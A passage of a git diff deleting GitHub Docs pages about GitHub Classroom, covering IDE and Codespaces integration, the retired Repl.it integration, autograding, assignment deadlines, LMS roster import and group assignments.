when a student is stuck. To collaborate on the project, a student can start a Live Share session with anyone in the group node, and they will immediately share the entire context of the repository with them. For more information about Live Share and collaborating with it, see [What is Visual Studio Live Share?](https://docs.microsoft.com/en-us/visualstudio/liveshare/). - -Once a student is done with the assignment, they can also navigate to see other Assignments and Classrooms. These can be found under the {% data variables.product.prodname_dotcom %} tab. diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md deleted file mode 100644 index a6d2dee5c749..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Integrate GitHub Classroom with an IDE -shortTitle: Integrate with an IDE -intro: 'You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -children: - - /integrate-github-classroom-with-an-ide - - /using-github-codespaces-with-github-classroom - - /about-using-visual-studio-code-with-github-classroom - - /about-using-makecode-arcade-with-github-classroom - - /replit-with-github-classroom - - /run-student-code-in-an-ide ---- - diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md deleted file mode 100644 index 28baa4028e21..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Integrate GitHub Classroom with an IDE -shortTitle: Integrate with an IDE -intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/online-ide-integrations - - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide - - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide ---- -## About integration with an IDE - -{% data reusables.classroom.about-online-ides %} - -After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary. - -## Supported IDEs - -{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE. - -| IDE | More information | -| :- | :- | -| {% data variables.product.prodname_github_codespaces %} | [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom) | -| Microsoft MakeCode Arcade | [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom) | -| {% data variables.product.prodname_vscode %} | [{% data variables.product.prodname_classroom %} extension](https://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace | - -We know cloud IDE integrations are important to your classroom and are working to bring more options. - -## Configuring an IDE for an assignment - -You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) or [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment). - -## Setting up an assignment in a new IDE - -The first time you configure an assignment using a different IDE, you must ensure that it is set up correctly. - -Unless you use {% data variables.product.prodname_github_codespaces %}, you must authorize the {% data variables.product.prodname_oauth_app %} for the IDE for your organization. For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see [AUTOTITLE](/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps). - -{% data variables.product.prodname_github_codespaces %} does not require an {% data variables.product.prodname_oauth_app %}, but you need to enable {% data variables.product.prodname_github_codespaces %} for your organization to be able to configure an assignment with {% data variables.product.prodname_github_codespaces %}. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#enabling-codespaces-for-your-organization). - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md deleted file mode 100644 index 2e148799b401..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Repl.it with GitHub Classroom -shortTitle: Repl.it with GitHub Classroom -intro: 'As of July 13 2021, Repl.it integration is no longer available in {% data variables.product.prodname_classroom %}.' -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/student-experience-replit - - /education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom - - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-replit-with-github-classroom ---- -## What’s changing with Repl.it integration - -As of July 13 2021, Repl.it integration is no longer available. Here’s what’s changed: - -* New private and public repls can no longer be created from within GitHub Classroom. -* Replit Hacker benefits, such as Always On and Boosts, are no longer available for new GitHub Classroom users. - -## What does this mean for existing assignments? - -Your existing GitHub Classroom repls will remain private forever and you can submit work to GitHub Classroom via these repls until September 30 2021. After September 2021, the Replit icon on the assignment README will no longer work. We suggest you remove the instructions from any README using the integration and let students know that the icon will no longer work. - -While you can no longer create private repls from within Classroom, you can continue to create private repls in Replit until September 30th. - -We know cloud IDE integrations are important to your classroom and are working hard to bring you more options. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md deleted file mode 100644 index 2b3e0dceb570..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Run student code in an IDE -intro: You can run the code from a student assignment within the integrated development environment (IDE) that you configured for the assignment. -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/running-student-code - - /education/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide - - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-online-ide -shortTitle: Run code in IDE ---- - -## About student code and IDEs - -If you configure an integrated development environment (IDE) for an assignment, you can run the code within the IDE. You don't need to clone the assignment repository to your computer. - -For more information about IDEs, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide). - -## Running student code in the IDE - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-assignment-in-list %} -1. To the right of the submission, click **View IDE**. diff --git a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md b/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md deleted file mode 100644 index 68cd5a1e1f9f..000000000000 --- a/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Using GitHub Codespaces with GitHub Classroom -shortTitle: Using Codespaces with GitHub Classroom -product: '{% data reusables.gated-features.codespaces-classroom-articles %}' -intro: 'You can use {% data variables.product.prodname_github_codespaces %} as the preferred editor in your assignments to give students access to a browser-based {% data variables.product.prodname_vscode %} environment with one-click setup.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can enable {% data variables.product.prodname_github_codespaces %} for their organization and integrate {% data variables.product.prodname_github_codespaces %} as the supported editor for an assignment. {% data reusables.classroom.classroom-admins-link %}' ---- -## About {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_github_codespaces %} is also configurable, allowing you to create a customized development environment that is the same for all users of your project. See [AUTOTITLE](/codespaces/quickstart). - -Once {% data variables.product.prodname_github_codespaces %} is enabled in an organization or enterprise, users can create a codespace from any branch or commit in an organization or enterprise repository and begin developing using cloud-based compute resources. You can connect to a codespace from the browser or locally using {% data variables.product.prodname_vscode %}. - -{% data reusables.codespaces.links-to-get-started %} - -Setting {% data variables.product.prodname_github_codespaces %} as the preferred editor for an assignment in GitHub Classroom assignments, is beneficial for both students and teachers. {% data variables.product.prodname_github_codespaces %} is a good option for students using loaned devices or without access to a local IDE setup, since each codespace is cloud-based and requires no local setup. Students can launch a codespace for an assignment repository in {% data variables.product.prodname_vscode %} directly in their browser, and begin developing right away without needing any further configuration. - -For assignments with complex setup environments, teachers can customize the dev container configuration for a repository's codespaces. This ensures that when a student creates a codespace, it automatically opens with the development environment configured by the teacher. For more information on dev containers, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers). - -> [!NOTE] -> Individual codespaces are automatically deleted if they are stopped and left unused for a prolonged period. See [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). - -{% data reusables.education.student-codespaces-benefit %} - -> [!NOTE] -> {% data reusables.education.note-on-student-codespaces-usage %} - -## About the {% data variables.product.prodname_codespaces %} Education benefit for verified teachers - -The {% data variables.product.prodname_codespaces %} Education benefit gives verified teachers a free monthly allowance of {% data variables.product.prodname_github_codespaces %} hours to use in {% data variables.product.prodname_classroom %}. The free allowance is estimated to be enough for a class of 50 with 5 assignments per month, on a 2 core machine with 1 codespace stored per student. - -{% data reusables.classroom.free-limited-codespaces-for-verified-teachers-beta-note %} - -To become a verified teacher, you need to be approved for an educator or teacher benefit. See [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). - -After you have confirmation that you are a verified teacher, visit [{% data variables.product.prodname_global_campus %} for Teachers](https://education.github.com/globalcampus/teacher) to upgrade the organization to GitHub Team. See [GitHub's products](/get-started/learning-about-github/githubs-plans#github-team). - -If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, when you enable {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_classroom %} for your organization, GitHub automatically adds a Codespace policy to restrict machine types for all codespaces in the organization to 2 core machines. This helps you make the most of the free {% data variables.product.prodname_github_codespaces %} usage. However, you can change or remove these policies in your organization settings. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types). - -When the {% data variables.product.prodname_codespaces %} Education benefit moves out of {% data variables.release-phases.public_preview %}, if your organization exceeds their free allowance for {% data variables.product.prodname_github_codespaces %} usage, your organization will be billed for additional usage. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). - -## Enabling {% data variables.product.prodname_codespaces %} for your organization - -{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, you must enable {% data variables.product.prodname_github_codespaces %} through {% data variables.product.prodname_classroom %}, instead of enabling it directly in your organization settings. Otherwise, your organization will be billed directly for all usage of {% data variables.product.prodname_github_codespaces %}. - -### Enabling Codespaces for an organization when creating a new classroom - -{% data reusables.classroom.sign-into-github-classroom %} -1. On the right side of the page, click **New classroom**. -1. In the list of organizations, click the organization you'd like to use for your classroom. Organizations that are eligible for {% data variables.product.prodname_github_codespaces %} will have a note showing that they are eligible. Optionally, you can create a new organization. See [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). -1. In the "Name your classroom" page, under "{% data variables.product.prodname_codespaces %} in your Classroom", click **Enable**. Note that this will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization. -1. When you are ready to create the new classroom, click **Create classroom**. - -### Enabling Codespaces for an organization via an existing classroom - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. Under "{% data variables.product.prodname_github_codespaces %}", click **Enable**. This will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization. A new Codespace policy is also added to restrict machine types for all codespaces in the organization to 2 core machines. - -You can use the same methods as above to disable {% data variables.product.prodname_github_codespaces %} for your organization as well. Note that this will disable {% data variables.product.prodname_github_codespaces %} for all users and repositories in the organization. - -## Configuring an assignment to use {% data variables.product.prodname_codespaces %} - -To make {% data variables.product.prodname_github_codespaces %} available to students for an assignment, you can choose {% data variables.product.prodname_github_codespaces %} as the supported editor for the assignment. When creating a new assignment, in the "Add your starter code and choose your optional online IDE" page, under "Add a supported editor", select **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu. - -If you use a template repository for an assignment, you can define a dev container in the repository to customize the tools and runtimes available to students when they launch a codespace to work on the assignment. If you do not define a dev container, {% data variables.product.prodname_github_codespaces %} will use a default configuration, which contains many of the common tools that your students might need for development. For more information on defining a dev container, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration). - -## Launching an assignment using {% data variables.product.prodname_github_codespaces %} - -When a student opens an assignment, the repository's README file includes their teacher's recommendation of the IDE they should use for the work. - -Students can launch a new or existing codespace by clicking the **Open in GitHub Codespace** button in the README, or by clicking the **{% octicon "code" aria-hidden="true" %} Code** button on the main page of the assignment repository, then selecting the **Codespaces** tab. From the **Codespaces** tab you can select an existing codespace or create a new one. See [AUTOTITLE](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository). - -![Screenshot of the assignment repository. The "Code" dropdown menu to launch a new codespace is expanded.](/assets/images/help/classroom/student-launch-new-codespace.png) - -Teachers can view each student's codespace for an assignment in the assignment overview page. You can click on the Codespaces icon on the right side of each student row to launch the codespace. - -![Screenshot of the assignment overview. The Codespaces icon is outlined in dark orange.](/assets/images/help/classroom/teacher-assignment-view-with-codespaces.png) - -When you connect to a codespace through a browser, auto-save is enabled automatically. If you want to save changes to the repository, you will need to commit the changes and push them to a remote branch. If you leave your codespace running without interaction for 30 minutes by default, the codespace will timeout and stop running. Your data will be preserved from the last time you made a change. For more information on the lifecycle of a codespace, see [AUTOTITLE](/codespaces/about-codespaces/the-codespace-lifecycle). diff --git a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md b/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md deleted file mode 100644 index c87ce7c2fe57..000000000000 --- a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Learn with GitHub Classroom -intro: 'You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher.' -versions: - fpt: '*' -children: - - /view-autograding-results - - /viewing-your-assignments-deadline -shortTitle: Learn with Classroom ---- diff --git a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md deleted file mode 100644 index 3403f97d1cea..000000000000 --- a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: View autograding results -intro: You can see results from autograding within the repository for your assignment. -versions: - fpt: '*' -redirect_from: - - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students - - /education/manage-coursework-with-github-classroom/view-autograding-results ---- -## About autograding - -Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.location.product_location %}. - -If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X. - -## Viewing autograding results for an assignment repository - -{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures). - -The **Actions** tab shows the full history of test runs. - -![Screenshot of the "Actions" tab with "All workflows" option in the left sidebar selected.](/assets/images/help/classroom/autograding-actions-tab.png) - -You can click a specific test run to review log output, like compilation errors and test failures. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) diff --git a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/viewing-your-assignments-deadline.md b/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/viewing-your-assignments-deadline.md deleted file mode 100644 index ab558f1287a1..000000000000 --- a/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/viewing-your-assignments-deadline.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Viewing your assignment's deadline -intro: You can view the deadline for an assignment at any time through the README of your assignment repository. -versions: - fpt: '*' -shortTitle: View deadline ---- - -## About assignment deadlines - -Your teacher can set an assignment deadline for assignments on {% data variables.product.prodname_classroom %}. If your teacher makes a deadline a hard cutoff, unless you or your group have received an extension, you will lose write access to your assignment repository after the deadline passes. You can easily monitor the deadline for an assignment through the README in your assignment repository. - -## Viewing an assignment's deadline - -1. Navigate to your assignment repository. -1. On the main page of your repository, scroll down until you see the repository's README, then click **{% octicon "calendar" aria-hidden="true" %} Review the assignment due date**. Your assignment deadline is visible below the link to your assignment repository. The deadline shown updates automatically any time your teacher alters the assignment deadline. diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/about-assignments.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/about-assignments.md deleted file mode 100644 index a55d481dbebd..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/about-assignments.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: About assignments -intro: 'You can use individual or group assignments in {% data variables.product.prodname_classroom %} to teach students and grade their work.' -shortTitle: About assignments -type: overview -topics: - - Fundamentals -versions: - fpt: '*' ---- - -## About assignments in {% data variables.product.prodname_classroom %} - -Assignments are coursework created for students in {% data variables.product.prodname_classroom %}. You can use assignments to test and grade your students, or to help your students practice their learnings. - -With {% data variables.product.prodname_classroom %}, you can create individual assignments, to be completed by a single student, or group assignments, to be completed in teams. For more information, see [Types of assignments](#types-of-assignments). - -{% data reusables.classroom.about-assignments %} - -{% data reusables.classroom.about-feedback-pull-requests %} - -{% data reusables.classroom.about-ide-integration %} - -{% data reusables.classroom.reuse-assignment-link %} - -> [!NOTE] -> {% data reusables.classroom.assignments-classroom-prerequisite %} - -## Types of assignments - -You can create both individual assignments and group assignments with {% data variables.product.prodname_classroom %}. - -### Individual assignments - -{% data reusables.classroom.assignments-individual-definition %} - -{% data reusables.classroom.classroom-creates-individual-repositories %} - -For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment). - -### Group assignments - -{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. - -{% data reusables.classroom.about-teams-in-group-assignment %} - -For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment). - -## Further reading - -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment) diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md deleted file mode 100644 index 7a12a921f5fc..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Connect a learning management system course to a classroom -intro: 'You can configure an LTI-compliant learning management system (LMS) course to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom.' -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom - - /education/manage-coursework-with-github-classroom/connect-to-lms - - /education/manage-coursework-with-github-classroom/generate-lms-credentials - - /education/manage-coursework-with-github-classroom/setup-canvas - - /education/manage-coursework-with-github-classroom/setup-generic-lms - - /education/manage-coursework-with-github-classroom/setup-moodle - - /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom - - /education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom -shortTitle: Connect an LMS course ---- -## About connecting an LMS to your classroom - -You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %} and import a roster of student identifiers from the LMS. - -## Prerequisites - -Before you can connect your LMS to a classroom, an administrator for your LMS instance needs to register your LMS with GitHub Classroom to initiate the OAuth handshake. An admin only needs to do this registration process once, then any teacher who uses their LMS instance may sync their LMS courses to classrooms. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom). - -> [!NOTE] -> {% data reusables.classroom.google-classroom-note %} - -To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#creating-a-classroom). - -## Supported LMSes - -{% data reusables.classroom.supported-lmses %} - -## Linking a Canvas course with a classroom - -You can link your Canvas course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Canvas, see the [Canvas website](https://www.instructure.com/canvas/). - -An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-canvas-for-github-classroom). - -1. Sign into [Canvas](https://www.instructure.com/canvas/#login). -1. Select the Canvas course to integrate with {% data variables.product.prodname_classroom %}. -1. Click **Setting** in the left sidebar, then click the **Apps** tab. -1. Click the **+ App** button. -1. Under "Configuration Type", select **By Client ID** from the dropdown menu. -1. Under "Client ID", input the Client ID that your LMS administrator created when registering your LMS instance with {% data variables.product.prodname_classroom %}. -1. Click **Submit**, then click **Install**. -1. Refresh the page, and you should see a **GitHub Classroom** link in the course sub-navigation menu on the right hand side of the course details page. Note that the name may be different if your LMS admin named it something else when registering your LMS. -1. Clicking the **GitHub Classroom** link will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. - -Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see [Importing a roster from your LMS](#importing-a-roster-from-your-lms). - -## Linking a Moodle course with a classroom - -You can link your Moodle course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Moodle, see the [Moodle website](https://moodle.org). - -An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-moodle-for-github-classroom). - -You must be using Moodle version 3.0 or greater. - -1. Sign into [Moodle](https://moodle.org/login/). -1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. -1. Under "External Tools, under "General", you should see a button with the name "GitHub Classroom". Note that the name may be different if your LMS admin named it something else when registering your LMS. -1. Clicking the **GitHub Classroom** button will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. - -Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see [Importing a roster from your LMS](#importing-a-roster-from-your-lms). - -## Linking a Sakai course with a classroom - -You can link your Sakai course with a classroom in {% data variables.product.prodname_classroom %}. For more information about Sakai, see the [Sakai website](https://www.sakailms.org/). - -An administrator needs to register your LMS instance with classroom before you can link an LMS course. For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/register-a-learning-management-system-with-github-classroom#configuring-moodle-for-github-classroom). - -1. Sign into your Sakai instance. -1. Select the Sakai course to integrate with {% data variables.product.prodname_classroom %}. -1. Click on **External Tools**. -1. Click on **Tool Links**. -1. Clicking the "GitHub Classroom" link will launch you into {% data variables.product.prodname_classroom %}, where you can select a classroom to link with your LMS course. - -Once your course is linked, you can import your roster from your LMS course to your classroom. For more information, see [Importing a roster from your LMS](#importing-a-roster-from-your-lms). - -## Importing a roster from your LMS - -To import your roster from your LMS: -1. Open your linked classroom in {% data variables.product.prodname_classroom %} and select the "Students" tab. -1. Click the **Import from...** button containing the name of your LMS (Canvas, Sakai, or Moodle). -1. Select which identifier you'd like to use for your students, then click **Import roster entries**, and your roster will be imported. - -To update an existing roster: -1. Open your linked classroom in {% data variables.product.prodname_classroom %} and select the "Students" tab. -1. Click the **Sync from...** button containing the name of your LMS (Canvas, Sakai, or Moodle). - -## Importing a roster from Google Classroom - -Google Classroom does not use the LTI protocol so does not need to be connected to GitHub Classroom before importing the roster. - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-students %} -1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster. - * For more information about deleting and creating a roster, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom) and [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom). - * For more information about updating a roster, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom). -1. In the list of LMSes, click **Google Classroom**. -1. Sign in to Google, then select the Classroom to link to. - -## Disconnecting your LMS - -You can disconnect your classroom from your LMS in {% data variables.product.prodname_classroom %} settings. - -{% data reusables.classroom.sign-into-github-classroom %} -{% data reusables.classroom.click-classroom-in-list %} -{% data reusables.classroom.click-settings %} -1. Under "Connect to a learning management system (LMS)", click **Connection Settings**. -1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**. diff --git a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md deleted file mode 100644 index 96fdc57c1cc9..000000000000 --- a/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Create a group assignment -intro: You can create a collaborative assignment for teams of students who participate in your course. -versions: - fpt: '*' -permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}' -redirect_from: - - /education/manage-coursework-with-github-classroom/create-group-assignments - - /education/manage-coursework-with-github-classroom/create-a-group-assignment ---- - -## About group assignments - -{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. - -{% data reusables.classroom.about-teams-in-group-assignment %} - -{% data reusables.classroom.classroom-creates-group-repositories %} - -{% data reusables.classroom.about-assignments %} - -You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.github %}. The visibility of the team is secret. Teams that you create on {% data variables.product.github %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -{% data reusables.classroom.reuse-assignment-link %} - -## Prerequisites - -{% data reusables.classroom.assignments-classroom-prerequisite %} - -## Creating an assignment - -{% data reusables.classroom.assignments-guide-create-the-assignment %} - -## Setting up the basics for an assignment - -Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - -* [Naming an assignment](#naming-an-assignment) -* [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) -* [Choosing an assignment type](#choosing-an-assignment-type) -* [Defining teams for an assignment](#defining-teams-for-an-assignment) -* [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) - -### Naming an assignment - -For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.github %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. - -{% data reusables.classroom.assignments-type-a-title %} - -### Assigning a deadline for an assignment - -{% data reusables.classroom.assignments-guide-assign-a-deadline %} - -{% data reusables.classroom.assignments-guide-make-cutoff-date %} - -### Choosing an assignment type - -Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create an individual assignment, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment). - -### Defining teams for an assignment - -If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. - -> [!NOTE] -> * We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. -> * If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. - -### Choosing a visibility for assignment repositories - -{% data reusables.classroom.assignments-repository-visibility-and-permissions %} - -{% 